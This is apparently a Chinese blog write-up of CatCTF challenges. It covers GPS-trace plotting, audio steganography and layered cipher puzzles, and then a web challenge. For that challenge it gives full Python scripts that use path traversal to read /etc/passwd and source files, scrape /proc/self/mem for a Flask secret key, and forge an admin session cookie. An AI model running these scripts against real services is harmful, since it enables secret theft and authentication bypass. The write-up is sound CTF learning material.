一个为猫猫打猫粮的公益CTF,记录一下收获。
现题目已在攻防世界上线:
CatCTF原题 
官网WP 
一、Misc 1.CatchCat  第一次做GPS题,上网查了资料写脚本做出来了,很有成就感。
附件是GPS数据文件CatchCat.txt,里面有很多GPS数据:
格式都是:
$GPGGA,090000.00,3416.48590278,N,10856.86623887,E,1,05,2.87,160.00,M,-21.3213,M,,*7E
网上的解释:GPGGA格式详解 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 该数据帧的结构及各字段释义如下: $GPGGA,<1>,<2>,<3>,<4>,<5>,<6>,<7>,<8>,<9>,M,<10>,M,<11>,<12>*xx<CR><LF> $GPGGA:起始引导符及语句格式说明(本句为GPS定位数据); <1> UTC时间,格式为hhmmss.sss; <2> 纬度,格式为ddmm.mmmm(第一位是零也将传送); <3> 纬度半球,N或S(北纬或南纬) <4> 经度,格式为dddmm.mmmm(第一位零也将传送); <5> 经度半球,E或W(东经或西经) <6> GPS状态, 0初始化, 1单点定位, 2码差分, 3无效PPS, 4固定解, 5浮点解, 6正在估算 7,人工输入固定值, 8模拟模式, 9WAAS差分 <7> 使用卫星数量,从00到12(第一个零也将传送) <8> HDOP-水平精度因子,0.5到99.9,一般认为HDOP越小,质量越好。 <9> 椭球高,-9999.9到9999.9米 M 指单位米 <10> 大地水准面高度异常差值,-9999.9到9999.9米 M 指单位米 <11> 差分GPS数据期限(RTCM SC-104),最后设立RTCM传送的秒数量,如不是差分定位则为空 <12> 差分参考基站标号,从0000到1023(首位0也将传送)。 * 语句结束标志符 xx 从$开始到*之间的所有ASCII码的异或校验 <CR> 回车符,结束标记 <LF> 换行符,结束标记 
 
但这题只用经纬就行。
上网知道了一个好用的py库叫pynmea2,可以提取其中的经纬度信息,然后查到了可以用
https://lbs.amap.com/demo/javascript-api/example/marker/replaying-historical-running-data 
来回放点的轨迹。
写了一个Python脚本如下:
1 2 3 4 5 6 7 8 9 10 11 import  pynmea2filename = 'CatchCat.txt'  list  = []with  open (filename) as  file_object:  for  line in  file_object:      list1= []      msg = pynmea2.parse(line)      list1.append(msg.longitude)      list1.append(msg.latitude)      list .append(list1) print (list )
 
 将输出结果粘贴到网站右侧放经纬度的地方,得到路线图:
虽然有点不清楚,但还是看的出来的,flag是CatCTF{GPS_M1ao}
2.Miao 下载得到一张图片,binwalk分析不出来,用16进制编译器查看发现有一个wav文件,手动分离。
是猫猫的Miao叫声的一个。
用Audacity打开,查看频谱图得到key:CatCTF
上网查了一下,知道了一款叫DeepSound的隐写工具。
用DeepSound打开,用CatCTF作为密码,得到flag.txt。
flag,txt打开发现是猫叫的密码,上网查了一下,选了一个网站解密
http://hi.pcmoe.net/roar.html。 
得到flag
CatCTF{d0_y0u_Hate_c4t_ba3k1ng_?_M1ao~}
小总结:有找到密码的音频可以考虑DeepSound和SilentEye,这两个工具是可能要输入密码的 
3.catcat 下载后得到一个猫猫.jpg 和一个我养了一只叫兔子的91岁的猫猫.txt ,猜测jpg有密钥,txt是flag的加密。
没发现名字的提示,且猫猫.jpg也没找到密钥,以为是用stegsolve。
这里要提一嘴,jpg不可能是LSB 。要去先了解原理,不要只会工具不会原理 。
后来才知道是rabbit加密(看txt文件名字的提示),至于密码,是在猫猫.jpg的数据里,用16进制编译器搜索password就行了。
用网站 解密txt文件里的内容:
得到的是base91编码的数据(txt文件名里也有提示)
再次用网站 解密:
得到的是Ook的加密,最后用网站 解密,得到flag:
CATCTF{Th1s_V3ry_cute_catcat!!!}
二、Web 1.catcat 任意文件读取漏洞。
当时只做到找到源码就不会了,主要原因是不会写脚本。
小总结:要提升锻炼写脚本的能力 
重新再战这题!
首先是访问网站随便点一下发现可能存在任意文件读取的漏洞。
试着用  ?file=../../etc/passwd读取系统文件成功,说明确实存在任意文件读取的漏洞
那么我们就可以尝试读取源码了。
官方WP是用了?file=../../proc/self/cmdline先找到了文件名
用?file=../app.py读取源码
我当时是摸的?file../../app/app.py读取源码
上图读出来的源码很乱,但由前面b开头可知这是python中的bytes类型
可以直接使用bytes的decode()方法获取格式化的源码,如下
可以直接使用bytes的decode()方法获取格式化的源码,如下
1 2 source = b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)'  print (source.decode())
 
得源码app.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import  osimport  uuidfrom  flask import  Flask, request, session, render_template, Markupfrom  cat import  catflag = ""  app = Flask(  __name__,  static_url_path='/' ,   static_folder='static'   ) app.config['SECRET_KEY' ] = str (uuid.uuid4()).replace("-" , "" ) + "*abcdefgh"  if  os.path.isfile("/flag" ): flag = cat("/flag" )  os.remove("/flag" ) @app.route('/' , methods=['GET' ] ) def  index (): detailtxt = os.listdir('./details/' )  cats_list = []  for  i in  detailtxt:  cats_list.append(i[:i.index('.' )])    return  render_template("index.html" , cats_list=cats_list, cat=cat) @app.route('/info' , methods=["GET" , 'POST' ] ) def  info (): filename = "./details/"  + request.args.get('file' , "" )  start = request.args.get('start' , "0" )  end = request.args.get('end' , "0" )  name = request.args.get('file' , "" )[:request.args.get('file' , "" ).index('.' )]    return  render_template("detail.html" , catname=name, info=cat(filename, start, end))   @app.route('/admin' , methods=["GET" ] ) def  admin_can_list_root (): if  session.get('admin' ) == 1 :  return  flag  else :  session['admin' ] = 0   return  "NoNoNo"  if  __name__ == '__main__' : app.run(host='0.0.0.0' , debug=False , port=5637 ) 
 
下面官网WP解释的很清楚,借一下(
首先关注含有flag的部分,以下代码可知程序一启动就读取并删除flag文件
1 2 3 if  os.path.isfile("/flag" ): flag = cat("/flag" )  os.remove("/flag" ) 
 
关注到admin路由可以获取flag,但是需要完成session伪造
需要伪造内容为{"admin" : 1}的session,则需要获取secret key
1 2 3 4 5 6 7 @app.route('/admin' , methods=["GET" ] ) def  admin_can_list_root (): if  session.get('admin' ) == 1 :    return  flag  else :    session['admin' ] = 0     return  "NoNoNo"  
 
secret key部分如下,是生成一个uuid然后去除-再拼接*abcdefgh组成的
1 app.config['SECRET_KEY' ] = str (uuid.uuid4()).replace("-" , "" ) + "*abcdefgh"  
 
文件读取部分 可以看到任意文件读取功能是info路由提供的,
注意到可控参数有三个,分别是file,start和end
还注意到其中有个cat函数
1 2 3 4 5 6 7 8 @app.route('/info' , methods=["GET" , 'POST' ] ) def  info (): filename = "./details/"  + request.args.get('file' , "" )  start = request.args.get('start' , "0" )  end = request.args.get('end' , "0" )  name = request.args.get('file' , "" )[:request.args.get('file' , "" ).index('.' )]  return  render_template("detail.html" , catname=name, info=cat(filename, start, end)) 
 
分析源码可知cat函数由cat.py提供
 
)
同理去访问?file=../cat.py再进行decode()得到cat.py源码。
cat.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import  os, sys, getoptdef  cat (filename, start=0 , end=0  )->bytes : data = b''     try :  start = int (start)  end = int (end)    except :  start=0   end=0     if  filename != ""  and  os.access(filename, os.R_OK):  f = open (filename, "rb" )  if  start >= 0 :  f.seek(start)  if  end >= start and  end != 0 :  data = f.read(end-start)    else :  data = f.read()    else :  data = f.read()    f.close()    else :  data = ("File `%s` not exist or can not be read"  % filename).encode()    return  data if  __name__ == '__main__' : opts,args = getopt.getopt(sys.argv[1 :],'-h-f:-s:-e:' ,['help' ,'file=' ,'start=' ,'end=' ])  fileName = ""   start = 0   end = 0     for  opt_name, opt_value in  opts:  if  opt_name == '-h'  or  opt_name == '--help' :  print ("[*] Help" )  print ("-f --file File name" )  print ("-s --start Start position" )  print ("-e --end End position" )  print ("[*] Example of reading /etc/passwd" )  print ("python3 cat.py -f /etc/passwd" )  print ("python3 cat.py --file /etc/passwd" )  print ("python3 cat.py -f /etc/passwd -s 1" )  print ("python3 cat.py -f /etc/passwd -e 5" )  print ("python3 cat.py -f /etc/passwd -s 1 -e 5" )  exit()  elif  opt_name == '-f'  or  opt_name == '--file' :  fileName = opt_value    elif  opt_name == '-s'  or  opt_name == '--start' :  start = opt_value    elif  opt_name == '-e'  or  opt_name == '--end' :  end = opt_value  if  fileName != "" :  print (cat(fileName, start, end))     else :  print ("No file to read" ) 
 
可以得到cat函数的定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def  cat (filename, start=0 , end=0  )->bytes : data = b''     try :  start = int (start)  end = int (end)    except :  start=0   end=0     if  filename != ""  and  os.access(filename, os.R_OK):  f = open (filename, "rb" )  if  start >= 0 :  f.seek(start)  if  end >= start and  end != 0 :  data = f.read(end-start)    else :  data = f.read()    else :  data = f.read()    f.close()    else :  data = ("File `%s` not exist or can not be read"  % filename).encode()    return  data 
 
作用是读取文件并以bytes返回,观察可知可以设定读取位置(start、end)
结合app.py中:
1 2 3 4 5 6 7 8 @app.route('/info' , methods=["GET" , 'POST' ] ) def  info (): filename = "./details/"  + request.args.get('file' , "" )  start = request.args.get('start' , "0" )  end = request.args.get('end' , "0" )  name = request.args.get('file' , "" )[:request.args.get('file' , "" ).index('.' )]    return  render_template("detail.html" , catname=name, info=cat(filename, start, end)) 
 
我们可以知道可以传start和end参数来截取返回的部分内容,比如:
这又有什么用呢?不急,马上就有大用了。
这题的关键点就是伪造session,从而访问admin路由获取flag
但伪造session需要获取secret key
这里可以利用python存储对象的位置在堆上这个特性,
app是实例化的Flask对象,而secret key在app.config['SECRET_KEY'],
所以可以通过读取/proc/self/mem来读取secret key
其实flag也在内存里,也可以正则匹配直接读取到flag。
但是/proc/self/mem内容较多而且存在不可不可读写部分,无法直接访问到
所以先读取/proc/self/maps获取堆栈分布,用脚本找到可读写部分,再去利用start与end参数访问出来,正则匹配secret_key。
从app.py中可以得到secret_key的格式:
1 app.config['SECRET_KEY' ] = str (uuid.uuid4()).replace("-" , "" ) + "*abcdefgh"  
 
参照了官方脚本和B站上大佬的脚本,我写了一个自己的脚本
main.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import  requestsimport  reurl = "http://61.147.171.105:61020/"  bypass = "../.."  map_list = requests.get(url + f"info?file={bypass} /proc/self/maps" ) map_list = map_list.text.split("\\n" ) for  i in  map_list:    map_addr = re.match (r"([a-z0-9]+)-([a-z0-9]+) rw" , i)     if  map_addr != None :         start = int (map_addr.group(1 ), 16 )         end = int (map_addr.group(2 ), 16 )         mem = requests.get(url + f"info?file={bypass} /proc/self/mem&start={start} &end={end} " )         flag = re.findall("[a-zA-Z]{6}\{[a-z0-9A-Z-_]*\}" , mem.text)         if  flag:             print (flag[0 ])         if  "*abcdefgh"  in  mem.text:             secretkey = re.findall("[a-z0-9]{32}\*abcdefgh" ,mem.text)             if  secretkey:                 print (secretkey[0 ]) 
 
可以得到flag和secretkey
其实已经得到flag:catctf{Catch_the_c4t_HaHa} 
但是还是可以尝试session伪造一下:
由app.py,访问/admin时session里的admin为1时返回flag。
官网是给出了一个github项目:
session伪造可以利用如下项目 
1 https://github.com/noraj/flask-session-cookie-manager 
 
用这个伪造就行了
最后官方的脚本是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import  requestsimport  reimport  ast, sysfrom  abc import  ABCfrom  flask.sessions import  SecureCookieSessionInterfaceurl = "http://"  if  sys.version_info[0 ] < 3 :     raise  Exception('Must be using at least Python 3' ) class  MockApp (object ):    def  __init__ (self, secret_key ):         self.secret_key = secret_key          class  FSCM (ABC ):        def  encode (secret_key, session_cookie_structure ):             """ Encode a Flask session cookie """              try :                 app = MockApp(secret_key)                 session_cookie_structure = dict (ast.literal_eval(session_cookie_structure))                 si = SecureCookieSessionInterface()                 s = si.get_signing_serializer(app)                 return  s.dumps(session_cookie_structure)             except  Exception as  e:                 return  "[Encoding error] {}" .format (e)                 raise  e s_key = ""  bypass = "../.."  map_list = requests.get(url + f"info?file={bypass} /proc/self/maps" ) map_list = map_list.text.split("\\n" ) for  i in  map_list:         map_addr = re.match (r"([a-z0-9]+)-([a-z0-9]+) rw" , i)     if  map_addr:         start = int (map_addr.group(1 ), 16 )         end = int (map_addr.group(2 ), 16 )         print ("Found rw addr:" , start, "-" , end)                           res = requests.get(f"{url} /info?file={bypass} /proc/self/mem&start={start} &end={end} " )                  if  "*abcdefgh"  in  res.text:                          secret_key = re.findall("[a-z0-9]{32}\*abcdefgh" , res.text)             if  secret_key:                 print ("Secret Key:" , secret_key[0 ])                 s_key = secret_key[0 ]                 break  data = '{"admin":1}'  headers = {     "Cookie"  : "session="  + FSCM.encode(s_key, data) } try :    flag = requests.get(url + "admin" , headers=headers)     print ("Flag is" , flag.text) except :    print ("Something error" ) 
 
这里session伪造其实还不是很清楚,如何知道什么加密呢,还是只能用项目,用jwt库能否实现伪造。
但flag总归是出了:flag:catctf{Catch_the_c4t_HaHa}